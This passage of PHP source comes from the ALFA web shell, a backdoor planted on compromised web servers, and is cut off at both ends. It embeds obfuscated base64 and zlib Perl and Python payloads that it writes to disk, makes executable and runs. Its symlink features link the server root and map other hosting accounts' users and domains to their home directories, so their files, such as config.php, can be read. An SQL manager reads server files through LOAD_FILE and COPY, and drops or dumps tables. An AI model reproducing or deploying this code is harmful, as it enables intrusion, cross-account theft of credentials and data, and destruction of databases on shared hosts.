LVraBVm5QMvC1J606R1ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL/NNnL2/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5/1qNhThSbQnLNwF3L16+DLSd/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B/X493voyXZ+pmCPe+C3EzvJA3ww/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ/w1wHelDNU/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U/7EAH/4H5eHKfSsRAAA=")));';
$py = '#!/usr/bin/python\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\neval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
$cginame = "symperl.alfa";
$source = $perl;
$lang = "perl";
if($_POST["alfa2"]=="sympy"){
$cginame = "pysymlink.alfa";
$source = $py;
$lang = "python";
}
@__write_file($cginame,$source);
@chmod($cginame,0755);
echo __pre();
$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
if(strlen($resource) == 0){
echo AlfaiFrameCreator('cgialfa/'.$cginame);
}else{
echo $resource;
}
}
if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>';
$path = $_POST['alfa5'];
$symname = $_POST['alfa6'];
$solevisible58 = $_POST['alfa7'];
if($solevisible58){
$new_name = str_replace(, "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess('sym', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
}
}else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
$cant_symlink = true;
if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
@mkdir('alfasymlink',0777);
alfacgihtaccess('sym','alfasymlink/');
_alfa_symlink('/','alfasymlink/root');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
$anonymous = true;
$anony_domains = $domains["lines"];
$lines = _alfa_file('/etc/passwd');
}
echo $table_header;
$count=1;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
foreach($lines as $line){
$domain = "";
$owner = "";
if($anonymous){
$explode = explode(":", $line);
$owner = $explode[0];
$owner_len = strlen($owner) - 1;
$userid = $explode[2];
if((int)$userid < 500)continue;
$domain = "[?????]";
$temp_black = array();
$finded = false;
foreach($anony_domains as $anony){
if($state == "named.conf"){
if(@strstr($anony, 'zone')){
preg_match_all('#zone "(.*)"#',$anony, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($anony == || $anony == "..")continue;
if($state == "named")$anony = rtrim($anony, ".db");
$domain = $anony;
}
$sub_domain = str_replace(array("-",), "", $domain);
if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
if(in_array($owner.$domain, $temp_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$temp_black[] = $owner.$domain;
$finded = true;
}
}
if(!$finded){
$anonymous_users[] = $owner;
}
}else{
if($state == "named.conf"){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
}else{
continue;
}
}elseif($state == "named" || $state == "valiases"){
if($line == || $line == "..")continue;
if($state == "named")$line = rtrim($line, ".db");
$domain = $line;
}
if(strlen(trim($domain)) > 2 && $state != "passwd"){
if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
if($is_posix){
$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
$owner = $user["name"];
}elseif($can_runcmd){
$owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
}
}
}
if(!$anonymous){
if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "http://".$domain;
if($state == "passwd"){
$http = "javascript:alert('we cant find domain...')";
}
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
$count++;
$f_black[] = $owner.$domain;
}
}
if($anonymous){
foreach($anonymous_users as $owner){
$sympath = str_replace("{user}", $owner, $makepwd);
$http = "javascript:alert('we cant find domain...')";
echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
$count++;
}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
$makepwd = "/home/{user}/public_html";
$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
if($sole){
foreach($sole as $visible){
if(@strstr($visible,":")){
$solevisible = explode(':', $visible);
$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
}
}
}else{
$passwd = _alfa_file("/etc/passwd");
if($passwd){
$html = "";
$is_named = false;
$users = array();
$domains = array();
$uknowns = array();
foreach($passwd as $user){
$user = trim($user);
$expl = explode(":", $user);
if((int)$expl[2] < 500)continue;
$users[$expl[0]] = $expl[5];
}
$site_domains = @scandir("/etc/virtual/");
if(!$site_domains){
$site_domains = alfaEx("ls /etc/virtual/");
$site_domains = explode("\n", $site_domains);
if(!$site_domains){
$site_domains = _alfa_file("/etc/named.conf");
if($site_domains){$is_named = true;}
}
}
foreach($site_domains as $line){
if($is_named){
if(@strstr($line, 'zone')){
preg_match_all('#zone "(.*)"#',$line, $data);
$domain = $data[1][0];
if(strlen($domain > 2) && !empty($domain)){
$domains[] = $domain;
}
}
}else{
$domains[] = $line;
}
}
$x = 1;
foreach($users as $user => $home){
foreach($domains as $domain){
$user_len = strlen($user) - 1;
$sub_domain = str_replace(array("-",), "", $domain);
$five_user = substr($user, 0,$user_len);
$five_domain = substr($sub_domain, 0,$user_len);
if($five_user == $five_domain){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
}else{
$uknowns[$user] = $home;
}
}
}
$uknowns = array_unique($uknowns);
foreach($uknowns as $user => $home){
if($is_direct){
$cwd = str_replace("{user}", $user, $makepwd);
}else{
$expl = explode("}/", $makepwd);
$cwd = $home."/".$expl[1];
}
$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
}
echo($html);
}
}
echo "</table>";
$cant_symlink = false;
}
}else{
echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
$cant_symlink = false;
}
if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
return true;
}else{
$this->mysqli_connect_error = true;
$this->mysqli_connect_error_msg = mysqli_connect_error();
return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
if($connection_db && !empty($_POST['sql_base'])){
$form_visibility = "none";
}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
$sql_title_db = "";
if(!empty($_POST['sql_base'])){
$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
}
echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'><<</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
if($db_name == $_POST['sql_base']){
$db->selectdb($_POST['sql_base']);
$tbls_res = $db->listTables();
echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
while($item = $db->fetch($tbls_res)){
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
$value = htmlspecialchars($value);
echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'> <a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?' ':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
}
echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
}
echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value='>>'></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
alfafooter();
}
function alfaSql_manager_api(){
$db = $_POST["alfa1"];
$type = $_POST["alfa2"];
$sql_count = $_POST["alfa3"] == "true" ? true : false;
$db = @json_decode($db, true);
$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
@mysqli_set_charset($conn, "utf8");
if($conn){
if($type == "load_all_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
$count = 0;
while($row = @mysqli_fetch_assoc($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
}
foreach($db["databases"] as $db){
if(!isset($tables[$db])){
$tables[$db] = null;
}
}
echo @json_encode($tables);
}elseif($type == "dump_drop"){
if($db["mode"] == "drop"){
foreach ($db["tables"] as $table) {
@mysqli_query($conn, "DROP TABLE `".$table."`;");
}
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}else{
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);
}else{
$fp = @fopen($db["dump_file"], "w");
foreach ($db["tables"] as $table) {
$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
$create = @mysqli_fetch_array($res);
$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
$head = true;
while($item = @mysqli_fetch_assoc($tbl_data)){
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "''";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql = "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
}
}
echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
}
}elseif($type == "load_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}elseif($type == "alter"){
$db["alter"]["type"] = strtolower($db["alter"]["type"]);
$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
$text_input = array("longtext", "text", "mediumtext", "tinytext");
if(in_array($db["alter"]["type"], $text_input)){
$inputs = $db["alter"]["type"];
}
@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
$error = @mysqli_error($conn);
if($error){
echo $error;
}else{
echo "ok";
}
}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
if($type == "edit"){
